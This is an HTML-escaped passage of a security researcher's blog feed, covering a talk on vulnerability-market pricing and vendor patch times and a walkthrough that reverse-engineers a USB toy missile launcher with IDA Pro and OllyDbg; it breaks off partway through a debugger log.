&lt;li&gt;&lt;a href=&quot;http://labs.inquest.net&quot; target=&quot;_top&quot;&gt;InQuest Labs&lt;/a&gt; open/free data portal for malware researchers.&lt;/li&gt;
&lt;/ul&gt;</description>
        </item>
                <item>
            <title>07.20.2012: Latest Venture: B2C</title>
            <link>http://pedramamini.com/blog/2012.07.20/</link>
            <pubDate>Fri, 20 Jul 2012 00:00:00 -0500</pubDate>
            <description>At some point I'll get around to updating this page. In the meanwhile if anyone is curious what I'm up to, this is it:&lt;ul&gt;&lt;li&gt;&lt;a href='https://web.archive.org/web/20130305042857/jumpshot.com' target='_top'&gt;Jumpshot&lt;/a&gt; (archived site), launched on &lt;a href='https://www.kickstarter.com/projects/thejumpshot/jumpshot-a-new-weapon-to-battle-pc-frustration' target='_top'&gt;Kickstarter&lt;/a&gt;, acquired by Avast and rebranded as GrimeFighter and then again as &lt;a href='http://www.avast.com/cleanup' target='_top'&gt;CleanUp&lt;/a&gt;.&lt;/ul&gt;</description>
        </item>
                <item>
            <title>10.29.2009: Mostrame la Guita!</title>
            <link>http://pedramamini.com/blog/2009.10.29/</link>
            <pubDate>Thu, 29 Oct 2009 00:00:00 -0500</pubDate>
            <description>Recently I presented a talk titled &quot;Mostrame la Guita!&quot; (regional Spanish for &quot;show me the money&quot;) at &lt;a href=&quot;http://www.ekoparty.com.ar/en/index.html&quot; target=&quot;_top&quot;&gt;Ekoparty&lt;/a&gt; in Buenos Aires, Argentina. The purpose of the talk was to provide transparency into the world of vulnerability markets and for the first time expose the inner workings, statistics and some anecdotal stories behind the &lt;a href=&quot;http://www.zerodayinitiative.com/&quot; target=&quot;_top&quot;&gt;TippingPoint Zero Day Initiative&lt;/a&gt; (ZDI) to the public. As far as I know, the only other available resource on the matter of markets and pricing is Charlie Miller's 2007 paper &quot;&lt;a href=&quot;http://weis2007.econinfosec.org/papers/29.pdf&quot; target=&quot;_top&quot;&gt;The Legitimate Vulnerability Market&lt;/a&gt;&quot;. The information presented was garnered through public resources, numerous interviews and my own personal experiences in the marketplace from 2002 to present day.&lt;br&gt;&lt;br&gt;The talk was well received and there was a lot of interest from various parties in getting their hands on the slides. Along side the release of my presentation I prepared this blog entry as the slides are terse and contain some eye charts that, without having heard the talk, could be easily misinterpreted. The slides were presented through Google docs and are now available at:&lt;br&gt;&lt;a href=&quot;http://bit.ly/ekoparty&quot; target=&quot;_top&quot;&gt;&lt;br&gt;Mostrame la Guita! Adventures in Buying Vulnerabilities&lt;/a&gt;&lt;b&gt;&lt;br&gt;&lt;/b&gt;&lt;br&gt;Please read on for notes on specific slides of interest. If you have any questions or comments feel free to post them as a comment here or contact me directly via e-mail.&lt;br&gt;&lt;br&gt;&lt;h3&gt;Market Prices&lt;/h3&gt;For the purposes of my talk I broke the market down into four categories:&lt;br&gt;&lt;ul&gt;&lt;li&gt;Vendor market: bug bounties offered by &lt;a href=&quot;http://www.mozilla.org/security/bug-bounty.html&quot; target=&quot;_top&quot;&gt;Mozilla&lt;/a&gt; and &lt;a href=&quot;http://www.ghostscript.com/Bug_bounty_program.html&quot; target=&quot;_top&quot;&gt;Ghostscript&lt;/a&gt; for example.&lt;/li&gt;&lt;li&gt;&quot;White&quot; market: purchase programs where the researcher knows where the information they are selling is going to end up. This includes the &lt;a href=&quot;http://www.zerodayinitiative.com/&quot; target=&quot;_top&quot;&gt;TippingPoint ZDI&lt;/a&gt; and &lt;a href=&quot;http://labs.idefense.com/vcp/&quot; target=&quot;_top&quot;&gt;iDEFENSE VCP&lt;/a&gt; who both disclose all purchases to the affected vendor.&lt;br&gt;&lt;/li&gt;&lt;li&gt;&quot;Grey&quot; market: programs where the final destination of the information sold is unclear. This includes direct / indirect sales to the government as well as some word of mouth programs.&lt;/li&gt;&lt;li&gt;&quot;Black&quot; market: sales to the &quot;bad&quot; guys.&lt;/li&gt;&lt;/ul&gt;Vendor bug bounties generally fetch less than $1,000 USD per security exposure, for the rest of the markets:&lt;br&gt;&lt;br&gt;&lt;img src=&quot;/legacy/2009-10-29-mostrame-la-guita/mlg_mostrame_la_guita.gif&quot; alt=&quot;&quot;&gt;&lt;br&gt;&lt;a href=&quot;http://docs.google.com/present/view?id=dcc6wpsd_20ghbpjxcr&amp;amp;start=15&quot; target=&quot;_top&quot;&gt;[full slide]&lt;/a&gt;&lt;br&gt;&lt;br&gt;The wide range of pricing has led many to claim that there is no fair market value for vulnerability research. I disagree and stated so in my talk. The reasoning behind my logic is that you get what you are willing to give. The individual markets offer different pricing but also demand different requirements. &lt;br&gt;&lt;br&gt;On the white market, and specifically at the ZDI for example we don't need nor do we ask for exploit code. If you can point out a bug we'll take it from there. In fact, frequently we receive very limited crash reports through the ZDI that require significant effort to dissect thoroughly. The white market also offers credit for your discovery and the guarantee that the reported issue will be forwarded to the affected vendor and disclosed in a responsible fashion.&lt;br&gt;&lt;br&gt;On the grey and black markets credit is completely out of the question. You are selling the rights to your information and expected to never talk about it again. The vendor will &lt;i&gt;not&lt;/i&gt; be contacted. Crash reports will not be entertained and nor will buggy or basic proof-of-concept exploit code. Exploits must be polished and weaponized. This is a drastic departure from the white market and many researchers are not comfortable operating in it.&lt;br&gt;&lt;br&gt;&lt;h3&gt;Acquired Research Statistics&lt;br&gt;&lt;/h3&gt;Since the launch of the Zero Day Initiative in August of 2005 we have signed up over 1,000 researchers and received almost 1,900 vulnerability reports between them. We only accept critical issues affecting top enterprise software and out of the the bugs we have seen we have purchased over 500 (about 30%) at an average of about 10 a month. That's a lot of bugs. The table presented in the following slide outlines purchase statistics for our most prominent vendors:&lt;br&gt;&lt;br&gt;&lt;img src=&quot;/legacy/2009-10-29-mostrame-la-guita/mlg_the_research.gif&quot; alt=&quot;&quot;&gt;&lt;br&gt;&lt;a href=&quot;http://docs.google.com/present/view?id=dcc6wpsd_20ghbpjxcr&amp;amp;start=20&quot; target=&quot;_top&quot;&gt;[full slide]&lt;/a&gt;&lt;br&gt;&lt;br&gt;The first numeric column shows how many vulnerability purchases we have made which affects the captioned vendor. Microsoft accounts for the largest number, 133, that's 33 Microsoft critical issues we are responsible for disclosing on average per year. The next column shows what our accept ratio is for that specific vendor, recall that our overall is roughly 30%. The final column shows how much of our total ZDI budget was spent securing that specific vendor. As Microsoft accounts for most of our purchases it is no surprise that they account for most of our expenditure as well, 30%. Apple comes in at a distance second accounting for 8% of our total budget.&lt;br&gt;&lt;br&gt;&lt;h3&gt;Vendor Patch Time Statistics&lt;/h3&gt;For each of our most prominent vendors we queried and charted their average time to patch per reported year. Let me explain this more clearly with an example. Between all the bugs we reported to Apple in 2006 their averaged time to patch was 166 days. If we reported a bug to Apple in December of 2006 and it wasn't patched until December of 2008 that 2-year patch time was averaged into 2006. For each year the longest and shortest patch times are highlighted in red and green appropriately. Through this measurement Mozilla comes out on top pretty much across the board:&lt;br&gt;&lt;br&gt;&lt;img src=&quot;/legacy/2009-10-29-mostrame-la-guita/mlg_vendor_response_times.gif&quot; alt=&quot;&quot;&gt;&lt;br&gt;&lt;a href=&quot;http://docs.google.com/present/view?id=dcc6wpsd_20ghbpjxcr&amp;amp;start=34&quot; target=&quot;_top&quot;&gt;[ full slide ]&lt;/a&gt;&lt;br&gt;&lt;br&gt;We averaged the individual per year columns into the overall column which places Mozilla at the top with the quickest average patch time of 48 days and Symantec trailing the pack at 307 days. One thing to keep in mind however is that these numbers do not include the currently outstanding issues, which brings us to the next and final column.&lt;br&gt;&lt;br&gt;The upcoming column displays the average number of days that all issues reported to the vendor have been outstanding for. Up to date listings of all our outstanding TippingPoint and ZDI discoveries are available at:&lt;br&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/2010/http://dvlabs.tippingpoint.com/advisories/upcoming/&quot; target=&quot;_top&quot;&gt;http://dvlabs.tippingpoint.com/advisories/upcoming/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.zerodayinitiative.com/advisories/upcoming/&quot; target=&quot;_top&quot;&gt;http://www.zerodayinitiative.com/advisories/upcoming/&lt;/a&gt;&lt;br&gt;&lt;/li&gt;&lt;/ul&gt;This column requires a bit of a caveat as well as the results get skewed with recent bundles of disclosures. For example, we recently disclosed a number of issues to Hewlett-Packard and this brings down their average outstanding patch time.&lt;br&gt;&lt;br&gt;&lt;h3&gt;Longest Patch Times&lt;/h3&gt;We have sliced our vendor data subjectively, by patch time and by days outstanding. The final view I offered the audience is a listing of the top 10 most outstanding bugs:&lt;br&gt;&lt;br&gt;&lt;img src=&quot;/legacy/2009-10-29-mostrame-la-guita/mlg_10_most_outstanding.gif&quot; alt=&quot;&quot;&gt;&lt;br&gt;&lt;a href=&quot;http://docs.google.com/present/view?id=dcc6wpsd_20ghbpjxcr&amp;amp;start=35&quot; target=&quot;_top&quot;&gt;[ full slide ]&lt;/a&gt;&lt;br&gt;&lt;br&gt;Entries with a + (plus) sign indicate that the issue is still outstanding, otherwise it has been patched. Note that although our recent disclosures to Hewlett-Packard improved their average in the previous slides upcoming column, they hold the title for the top two longest patch times... and counting.&lt;br&gt;&lt;br&gt;Holding the 3rd and 4th place positions is Microsoft with two issues that affect their Office Web Components (OWC) and along with another OWC issue have all been recently patched in &lt;a href=&quot;http://www.microsoft.com/technet/security/bulletin/ms09-043.mspx&quot; target=&quot;_top&quot;&gt;MS09-043&lt;/a&gt; (&lt;a href=&quot;http://zerodayinitiative.com/advisories/ZDI-09-054&quot; target=&quot;_top&quot;&gt;ZDI-09-054&lt;/a&gt;, &lt;a href=&quot;http://zerodayinitiative.com/advisories/ZDI-09-055&quot; target=&quot;_top&quot;&gt;ZDI-09-055&lt;/a&gt;, &lt;a href=&quot;http://zerodayinitiative.com/advisories/ZDI-09-056&quot; target=&quot;_top&quot;&gt;ZDI-09-056&lt;/a&gt;). The two and a half year time to patch triggered some &lt;a href=&quot;http://blogs.techrepublic.com.com/security/?p=2178&quot; target=&quot;_top&quot;&gt;media attention&lt;/a&gt; but as I mentioned earlier, patching is not a trivial process in some cases. I verbally covered this matter in my &quot;&lt;a href=&quot;http://docs.google.com/present/view?id=dcc6wpsd_20ghbpjxcr&amp;amp;start=26&quot; target=&quot;_top&quot;&gt;Behind the Hype&lt;/a&gt;&quot; slide stating that the cause for delay on Microsoft's behalf was legitimate and not due to any underlying disorganization.&lt;br&gt;&lt;br&gt;The presented data was our first unveiling of a vendor &quot;report card&quot;. Within the next month or so we intend on creating a permanent home on the ZDI website with all these statistics and more. So check back at &lt;a href=&quot;http://www.zerodayinitiative.com/&quot; target=&quot;_top&quot;&gt;www.zerodayinitiative.com&lt;/a&gt; and let us know if there is anything in specific that you would like to see.&lt;br&gt;&lt;br&gt;-pedram&lt;br&gt;&lt;br&gt;
&lt;p class=&quot;dim&quot;&gt;&lt;i&gt;Originally published 2009-10-29 on &lt;a href=&quot;https://web.archive.org/web/2010/http://dvlabs.tippingpoint.com/blog/2009/10/29/mostrame-la-guita&quot; target=&quot;_top&quot;&gt;the TippingPoint DVLabs blog&lt;/a&gt;.&lt;/i&gt;&lt;/p&gt;
</description>
        </item>
                <item>
            <title>02.12.2009: Python Interfacing a USB Missile Launcher</title>
            <link>http://pedramamini.com/blog/2009.02.12/</link>
            <pubDate>Thu, 12 Feb 2009 00:00:00 -0600</pubDate>
            <description>I watch &lt;a href=&quot;http://www.woot.com/&quot; target=&quot;_top&quot;&gt;Woot&lt;/a&gt; on pretty much a daily basis and as a result I frequently end up purchasing toys that I really don't need. Most recently I picked up this silly pair of &lt;a href=&quot;http://www.woot.com/Blog/ViewEntry.aspx?Id=7207&quot; target=&quot;_top&quot;&gt;USB Missile Launchers&lt;/a&gt; for just under 40$ shipped:&lt;br&gt;&lt;br&gt;&lt;img src=&quot;/legacy/2009-02-12-python-interfacing-a-usb-missile-launcher/usb_missile_launchers.jpg&quot; alt=&quot;&quot;&gt;&lt;br&gt;&lt;br&gt;I finally found some free time yesterday to open up the package and plug them in. The hardware is coupled with a simple GUI controller written in Delphi (MissileLauncher.exe) and a USB Human Interface Device (HID) interface written in C++ (USBHID.dll). The toys lost their allure within minutes of harassing my team with a barrage of soft missile shots. That same night I thought I would be able to extend the fun factor by coding up a programmatic interface to the launchers in Python. This blog is about that process.&lt;br&gt;&lt;br&gt;It's obvious that the bundled DLL is the glue between the GUI and the USB interface. Throwing USBHID.dll into the &lt;a href=&quot;http://hex-rays.com/idapro/&quot; target=&quot;_top&quot;&gt;IDA Pro Disassembler&lt;/a&gt; and examining the exports reveals 7 entries, the most interesting sounding of which is OpenHID(). Examining the imports shows dependencies on the Microsoft system DLLs HID.dll and SetupAPI.dll. USBHID.dll is basically a simplified wrapper on top of the Microsoft API. The next step is to take a look at how it is referenced from the GUI. Loading MissileLauncher.exe into IDA and examining the imports unfortunately shows no reference to USBHID.dll. The library and function pointers must be resolved dynamically via LoadLibrary() and GetProcAddress(). Time to examine some cross-references. Hit 'Shift-F12' to pull up the strings window then 'Alt+t' to search for USBHID.dll, enter to follow and you find:&lt;br&gt;&lt;pre&gt;.data:0048790C&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LibFileName db 'USBHID.dll',0&lt;/pre&gt;Hit 'x' to pull up the cross-references to the string and you come across the following snippet of code:&lt;br&gt;&lt;pre&gt;.text:00403830 030&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; xor edx, edx
.text:00403832 030&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov dword_48E510, edx
.text:00403838 030&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ecx, [ebp+table]
.text:0040383B 030&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov dword ptr [ecx+74h], 0FFFFFFFFh
.text:00403842 030&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push offset LibFileName&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; &quot;USBHID.dll&quot;
.text:00403847 034&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call LoadLibraryA
.text:0040384C 030&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov dword_48E514, eax
.text:00403851 030&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cmp dword_48E514, 0
.text:00403858 030&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jz&amp;nbsp; short loc_40386F
.text:0040385A 030&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push offset ProcName&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; &quot;OpenHID&quot;
.text:0040385F 034&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push dword_48E514&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; hModule
.text:00403865 038&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call GetProcAddress
.text:0040386A 030&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov dword_48E510, eax&lt;/pre&gt;So we have EDX=0 at the top, moved into a global DWORD variable @48E510. Next we see the address of our string being pushed to LoadLibrary() and subsequently the return value transferred from EAX into a global DWORD variable @48E514, this is the handle to the loaded DLL. An error check is made to ensure the library exists then the resolved handle and the string &quot;OpenHID&quot;, the relevant function to resolve, is pushed to GetProcAddress(). The resolved function pointer is transferred from EAX into a global DWORD variable @48E510. We can press 'n' on both of these global variables to rename them to say 'h_USBHID' and 'OpenHID' respectively. Now let's find out where OpenHID is called from, again examine cross-references by hitting 'x' when the cursor is on top of 'OpenHID'. There are 4 references. Two references from the above snippet which are assigning the variable and two CALL references from the function @00403B64. Here is the first:&lt;br&gt;&lt;pre&gt;.text:00403B64 000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push ebp
.text:00403B65 004&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ebp, esp
.text:00403B67 004&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov eax, [ebp+arg_0]
.text:00403B6A 004&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cmp dword ptr [eax+74h], 0FFFFFFFFh
.text:00403B6E 004&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jnz short loc_403B88
.text:00403B70 004&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push 1
.text:00403B72 008&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push 701h
.text:00403B77 00C&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push 0A81h
.text:00403B7C 010&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call OpenHID
.text:00403B82 004&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov edx, [ebp+arg_0]
.text:00403B85 004&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov [edx+74h], eax
.text:00403B88
.text:00403B88&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; loc_403B88:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/pre&gt;OpenHID() takes three arguments and is being called here like so:&lt;br&gt;&lt;pre&gt;if (eax74 == 0x0FFFFFFFF)
{
&amp;nbsp;&amp;nbsp;&amp;nbsp; eax74 = OpenHID(0x0A81, 0x0701, 1);
}&lt;/pre&gt;The first argument is the HID Vendor ID (VID), 0x0A81. The second argument is the HID Product ID (PID), 0x0701. The code here opens a handle to the USB Missile Launcher HID if it hasn't already been done. Just a few lines later in the deadlisting we see a WriteFile() operation on the opened handle:&lt;br&gt;&lt;pre&gt;.text:00403B88 004&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ecx, [ebp+arg_0]
.text:00403B8B 004&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov byte ptr [ecx+46h], 0
.text:00403B8F 004&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov eax, [ebp+arg_0]
.text:00403B92 004&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov edx, [eax+68h]
.text:00403B95 004&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; or&amp;nbsp; byte ptr [edx], 40h
.text:00403B98 004&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; lpOverlapped
.text:00403B9A 008&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ecx, [ebp+arg_0]
.text:00403B9D 008&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; add ecx, 6Ch
.text:00403BA0 008&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push ecx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; lpNumberOfBytesWritten
.text:00403BA1 00C&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push 2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; nNumberOfBytesToWrite
.text:00403BA3 010&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov eax, [ebp+arg_0]
.text:00403BA6 010&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; add eax, 45h
.text:00403BA9 010&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push eax&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; lpBuffer
.text:00403BAA 014&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov edx, [ebp+arg_0]
.text:00403BAD 014&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push dword ptr [edx+74h]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; hFile
.text:00403BB0 018&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call WriteFile&lt;/pre&gt;The function we are examining takes a single argument, which is a pointer to a structure which contains the data to be written at offset 0x45. The length of the data is 2, the value of the nNumberOfBytesToWrite argument to WriteFile(). At this point we know that we can easily open a handle to the USB Missile Launcher via USBHID.OpenHID() and then we can use WriteFile() to write data to it and likely ReadFile() to read data back. The next step is to figure out the protocol and there are a number of ways we can go about doing this. One method is to use USB sniffing software such as&amp;nbsp; &lt;a href=&quot;http://www.pcausa.com/Utilities/UsbSnoop/default.htm&quot; target=&quot;_top&quot;&gt;SniffUSB&lt;/a&gt;. Here is a screenshot of SniffUSB in action:&lt;br&gt;&lt;br&gt;&lt;img src=&quot;/legacy/2009-02-12-python-interfacing-a-usb-missile-launcher/SniffUSB.gif&quot; alt=&quot;&quot;&gt;&lt;br&gt;&lt;br&gt;Note that in this screenshot I've already installed the filter control on the HID specific to the USB Missile Launcher. The red arrows highlight the VID/PID values we found earlier within MissileLauncher.exe from the call to OpenHID(). Another way to determine which VID/PID combination maps to the specific HID you are looking for is to unplug the device, hit refresh, then plug it back, hit refresh and see what new row pops up. Once the filter control is installed on your target HID, you must unplug/replug to activate it then you can start interacting with the MissileLauncher.exe GUI and examine the data going across from the UsbSnoop.log file in your Windows directory.&lt;br&gt;&lt;br&gt;I took a different approach. I decided to 'sniff' the protocol via debugger hooks on ReadFile() / WriteFile(). Load MissileLauncher.exe into &lt;a href=&quot;http://www.ollydbg.de/&quot; target=&quot;_top&quot;&gt;OllyDbg&lt;/a&gt; and hit F9 to let the program run and the GUI start. Once the GUI is running pull up the modules list with 'Alt-e', select kernel32 and hit 'Ctrl-n' to pull up its list of contained names. Start typing out &quot;writefile&quot; to pull up the appropriate entry then hit 'Shift-F4' to set a condition log breakpoint. A dialogue box appears, for the row labeled &quot;Log function arguments&quot;, select the &quot;Always&quot; column radio control. This is a pretty neat feature of OllyDbg by the way, it won't work for any API, just the ones OllyDbg knows about. Repeat the process for &quot;readfile&quot;. Hit 'Alt+l' to bring up the log window then hit a button in the MissileLauncher.exe GUI and you should receive log output resembling the following:&lt;br&gt;&lt;pre&gt;7C810E17&amp;nbsp;&amp;nbsp; CALL to WriteFile from MissileL.00403BB0
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; hFile = 000001A8 (window)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Buffer = 00B6395D
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; nBytesToWrite = 2
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pBytesWritten = 00B63984
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pOverlapped = NULL
7C810E17&amp;nbsp;&amp;nbsp; CALL to WriteFile from MissileL.00404248
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; hFile = 000001A8 (window)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Buffer = 00B6395D
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; nBytesToWrite = 2
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pBytesWritten = 00B63984
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pOverlapped = NULL
7C801812&amp;nbsp;&amp;nbsp; CALL to ReadFile from MissileL.00404265
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; hFile = 000001A8 (window)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Buffer = 00B63954
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; BytesToRead = 2
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pBytesRead = 00B63984
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pOverlapped = NULL
7C810E17&amp;nbsp;&amp;nbsp; CALL to WriteFile from MissileL.004042D0
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; hFile = 000001A8 (window)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Buffer = 00B6395D
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; nBytesToWrite = 2
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pBytesWritten = 00B63984
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pOverlapped = NULL
7C810E17&amp;nbsp;&amp;nbsp; CALL to WriteFile from MissileL.00404316
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; hFile = 000001A8 (window)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Buffer = 00B6395D
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; nBytesToWrite = 2
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pBytesWritten = 00B63984
